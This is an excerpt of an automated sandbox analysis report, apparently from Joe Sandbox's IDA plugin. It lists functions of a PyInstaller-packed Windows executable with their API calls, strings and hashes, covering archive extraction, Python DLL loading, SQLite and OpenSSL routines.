Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: fad7a8bdb19a86d22431bd471c2fb05332dc0c4f5c39c170a81cfb03b67c47f4
Instruction ID: 851a119846c10f814a991b514b1ceca4f6320fad6a18bb942c0473158ca36f8f
Opcode Fuzzy Hash: fad7a8bdb19a86d22431bd471c2fb05332dc0c4f5c39c170a81cfb03b67c47f4
Instruction Fuzzy Hash: BF41AE72A0869286EB20DF2994411F96398FF84786F8445B2EF4DCBB99DF3CE542C704

Function 00007FF6BAF01210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.3.1, xrefs: 00007FF6BAF01249
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6BAF01276
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6BAF012BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6BAF012EF
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6BAF0141E
malloc, xrefs: 00007FF6BAF012C1, 00007FF6BAF012F6

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: ef842027a1d970694cc0f789b50cc720652ec9763b74026d17365e7fd9a410f4
Instruction ID: 06f6eab6cfce60e19754ad198c9f74b6c27e5752cf243a283b049db8681456a1
Opcode Fuzzy Hash: ef842027a1d970694cc0f789b50cc720652ec9763b74026d17365e7fd9a410f4
Instruction Fuzzy Hash: DC51D062A0868285EA30AF19A4403FA6399FF85796F8441B6EF4DC77D5EF3CE545C700

Function 00007FF6BAF1ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6BAF1F0AA,?,?,-00000018,00007FF6BAF1AD53,?,?,?,00007FF6BAF1AC4A,?,?,?,00007FF6BAF15F3E), ref: 00007FF6BAF1EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF6BAF1F0AA,?,?,-00000018,00007FF6BAF1AD53,?,?,?,00007FF6BAF1AC4A,?,?,?,00007FF6BAF15F3E), ref: 00007FF6BAF1EE98

Strings

api-ms-, xrefs: 00007FF6BAF1EDD6
ext-ms-, xrefs: 00007FF6BAF1EDE9

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 10190a7369ec2450d12f2d5b86ba16c95feba720f752c3ad235ac97132d4ee55
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: CB41E5A1B19A2241EB26CB1AD810AF563DABF48BD1F894579DE1DC7784EF3CE4458304

Function 00007FF6BAF036B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6BAF03804), ref: 00007FF6BAF036E1
GetLastError.KERNEL32(?,00007FF6BAF03804), ref: 00007FF6BAF036EB

Part of subcall function 00007FF6BAF02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02C9E
Part of subcall function 00007FF6BAF02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02D63
Part of subcall function 00007FF6BAF02C50: MessageBoxW.USER32 ref: 00007FF6BAF02D99

Strings

\\?\, xrefs: 00007FF6BAF0375A
Failed to convert executable path to UTF-8., xrefs: 00007FF6BAF03790
GetModuleFileNameW, xrefs: 00007FF6BAF036FA
Failed to obtain executable path., xrefs: 00007FF6BAF036F3
Failed to resolve full path to executable %ls., xrefs: 00007FF6BAF03739

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: f1abc873397aa8f043facd9fa40b7aaad957005192b33f0db060ffcce6608d5a
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: FC217F61B1C68241FA319F28E8503FA6398BF88396F804276EF5DC75D5EE2CE505C744

Function 00007FFDFF2143D0 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 334COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF214559

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FFDFF21474F
ase, xrefs: 00007FFDFF21465D
table, xrefs: 00007FFDFF2143FA
sqlite_temp_master, xrefs: 00007FFDFF214415
CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FFDFF214474
sqlite_master, xrefs: 00007FFDFF21441C

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 3510742995-879093740
Opcode ID: f4d21ec600aabcf0fe1360107ee30c29b4161485fc88ee90f32156103b5bd288
Instruction ID: 666b4f72fa4694c156b4b44e5a5debaf03cce47d705d8c45afffaadc3791b5fd
Opcode Fuzzy Hash: f4d21ec600aabcf0fe1360107ee30c29b4161485fc88ee90f32156103b5bd288
Instruction Fuzzy Hash: ADE1AE22F08792A6EB10CB2584A0AB927A5FB56B98F054335CE3CD77D9DF38E452C344

Function 00007FF6BAF1BA5C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1BE89

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction ID: 940a5ee6c923f7a5112df72cbbfa2d5994ca1a531dbc7add0b670caeb7f935cf
Opcode Fuzzy Hash: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction Fuzzy Hash: BBC1FFA2A0C7A6C2E6649B1D90402FD7BA8FB81FC2F5541B5EF4E87791CE7DE8458700

Function 00007FFE014215A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE014216C6
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014216DE
ERR_new.LIBCRYPTO-3 ref: 00007FFE01421761
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01421779

Strings

..\s\ssl\statem\statem_lib.c, xrefs: 00007FFE014216D7, 00007FFE01421772
tls_get_message_header, xrefs: 00007FFE014216CB, 00007FFE01421766

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem_lib.c$tls_get_message_header
API String ID: 193678381-2714770296
Opcode ID: f45773da2448751231a1ca749fc05bc9d2df97a6a3f744ec35cbeb086fc78321
Instruction ID: 79b34da46be62a2ba527a5b168c990e6fe1f265a510604954f8c5ac838354448
Opcode Fuzzy Hash: f45773da2448751231a1ca749fc05bc9d2df97a6a3f744ec35cbeb086fc78321
Instruction Fuzzy Hash: 3B615C32A0878285EB609F61E4903BD77A0FB94B48F588036DB8D5B7B5DF3CD4958711

Function 00007FF6BAF06360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6BAF063C7
Failed to load Python DLL '%ls'., xrefs: 00007FF6BAF064A7
LoadLibrary, xrefs: 00007FF6BAF064AE
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6BAF06456
ucrtbase.dll, xrefs: 00007FF6BAF063DD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6BAF06407

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: fc6a324af5ccce61a42eddc583daae539656a092ce23a78ad745f8729274c64d
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: F3418F31A18AC791EA71DF68E4142EA6359FF44396F8041B2EF5C83695EF7CE509C780

Function 00007FFE013CFD40 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013CFD62
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013CFD7A
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013CFD8C
ASYNC_get_current_job.LIBCRYPTO-3 ref: 00007FFE013CFDDB

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013CFD73
SSL_do_handshake, xrefs: 00007FFE013CFD67

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: C_get_current_jobR_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_lib.c$SSL_do_handshake
API String ID: 2134390360-2964568172
Opcode ID: 3e19f5133db6f9f0995d995d45ee5f37c3958f709a5efffcd3d50ec949d9a66b
Instruction ID: dc4a2ee53750852420d51556e51746b0ad67775a60d46e2b95d458af7062faeb
Opcode Fuzzy Hash: 3e19f5133db6f9f0995d995d45ee5f37c3958f709a5efffcd3d50ec949d9a66b
Instruction Fuzzy Hash: 0A21C222F0874242FB50AB35F8513BE6352EF88B94F5A1231EA5D0A7F7DE3CE4818640

Function 00007FFDFF19FFD0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFDFF1A020A

Part of subcall function 00007FFDFF19FA10: memset.VCRUNTIME140 ref: 00007FFDFF19FA50
Part of subcall function 00007FFDFF19FA10: memset.VCRUNTIME140 ref: 00007FFDFF19FADF

Strings

psow, xrefs: 00007FFDFF1A0581
winOpen, xrefs: 00007FFDFF1A047D
exclusive, xrefs: 00007FFDFF1A019B
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFDFF1A02E6

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset$CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 333288564-3829269058
Opcode ID: 91a16a29fa85a4b7500c484f2e0290924f29dc3ca7676500eb30cdcc977ab085
Instruction ID: fecb23c6d6e30a81206c3636d71404e85980aec13c63e12de75a078164885ec4
Opcode Fuzzy Hash: 91a16a29fa85a4b7500c484f2e0290924f29dc3ca7676500eb30cdcc977ab085
Instruction Fuzzy Hash: A4023E22F1968386FB548B25A874A7967A0FF84B54F044335D97EDA7E8DF3CE8458700

Function 00007FFDFF1AA0D0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 174COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1AA112, 00007FFDFF1AA268
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1AA0F2, 00007FFDFF1AA248
database corruption, xrefs: 00007FFDFF1AA10B, 00007FFDFF1AA261

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: 284fb38653da876aa8efdd9a6ba98a4ebc5b2a4409a3f47e7cdb6a524325cf1d
Instruction ID: b09fbacde2e797cb29b2160d416fd4e9aaf1d7ed97a1c92d4de6524e755e40ae
Opcode Fuzzy Hash: 284fb38653da876aa8efdd9a6ba98a4ebc5b2a4409a3f47e7cdb6a524325cf1d
Instruction Fuzzy Hash: CF716E23F08A42C2EB659B15D460B7963A1EF44B84F144376CA7E8B6EDDF3DE8569300

Function 00007FF6BAF15628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF15655
CreateFileW.KERNEL32 ref: 00007FF6BAF15694
CloseHandle.KERNEL32 ref: 00007FF6BAF156C9

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: 1bcaf4d7be3f8e792fed48457001b02795ab29d8e7da1c4c22052895fb7c0dcb
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 8B41B2A2E1879283E7148B24D5503B973A4FBA43A5F108375EFAC83AD1DF7CA4E08740

Function 00007FF6BAF0CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BAF0CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6BAF0CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6BAF0CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF6BAF0CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6BAF0CD21

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 3fe76f73670089b7a404d0b7df381cec2ab9be787c87b3aa3afe4cfce09a5a1f
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 52316C20E0924345FA34AF6DD4A13F91789AF91386F4444BAEF4EC72D7DE2CB806C241

Function 00007FF6BAF19A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6BAF19A2C), ref: 00007FF6BAF19A41
TerminateProcess.KERNEL32(?,?,?,00007FF6BAF19A2C), ref: 00007FF6BAF19A4C
ExitProcess.KERNEL32 ref: 00007FF6BAF19A5B

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 01f07998b96725bb2338bffc63ed541f9a5b4046aa949c9b71bea7ecb8942321
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: C3D06750B0875642FA142F7958951FC1259AF49B43B1414BCEE1A87393DD3CA84D4340

Function 00007FFE0140F070 Relevance: 3.3, APIs: 2, Instructions: 303COMMON

Download Yara Rule

APIs

ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE0140F1BC
SetLastError.KERNEL32 ref: 00007FFE0140F1C3
BUF_MEM_free.LIBCRYPTO-3 ref: 00007FFE0140F4B3

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: ErrorLastM_freeR_clear_error
String ID:
API String ID: 1231514297-0
Opcode ID: 8603938ac5e1fbf28ba7d9b8f40a04eb8b77d7e104ff7c3c46d49aacb8bdd123
Instruction ID: 298e5ea98077ef8d2b85877e1cb7ae0bf4a7571126227dbbd6292a030e27c431
Opcode Fuzzy Hash: 8603938ac5e1fbf28ba7d9b8f40a04eb8b77d7e104ff7c3c46d49aacb8bdd123
Instruction Fuzzy Hash: E721A432D083428BE7759EA6A84127932A0FF51B94F19443CDE4C4A6B6DE3DEC45C651

Function 00007FF6BAF1013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF10180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF10277

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

